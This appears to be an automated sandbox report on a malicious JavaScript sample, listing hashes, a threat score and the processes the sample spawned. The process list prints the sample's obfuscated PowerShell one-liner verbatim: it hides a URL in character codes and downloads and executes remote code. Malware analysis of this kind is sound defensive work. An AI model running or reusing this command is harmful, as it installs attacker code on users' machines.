Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:13
General
-
Target
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js
-
Size
201KB
-
MD5
c71db149c7c1b853f4c0479019433510
-
SHA1
e11559374b388818531f0f603acd4513ae398b7b
-
SHA256
cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b
-
SHA512
b87fec34c9f7748d8bf54194fb47108772a94c4fc180f90f8f67591464163c2dc88d9a71cb756a6e7503422960c38359d1d13630c6e30ce861b78da4e11f2379
-
SSDEEP
1536:nwpXxvpKC/UoNm+pflcKSjue/9j7jk1wt3PSQ/KKC/UoNm+pfQcKSjue/9j7jk1H:n2csBrf9m+csBmf9m/f9mRcsBWcsBK
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $dtbvljaqiu='ur' ;new-alias printout c$($dtbvljaqiu)l;$vcezytfnrx=(789,800,808,792,794,789,809,808,813,746,808,742,789,737,807,802,803,738,740,737,803,795,803,754,806,752,800,796,801,807,806,741,740);$jrnbxzp=('bronx','get-cmdlet');$qvgurspm=$vcezytfnrx;foreach($fjbmol in $qvgurspm){$smtjkdrzxp=$fjbmol;$zbrohays=$zbrohays+[char]($smtjkdrzxp-691);$koleyfrdwjan=$zbrohays; $bjmosqeycpluz=$koleyfrdwjan};$kdvjolfux[2]=$bjmosqeycpluz;$hzpbgqjsvecmd='rl';$yoincfaj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bjmosqeycpluz)1⤵
- Process spawned unexpected child process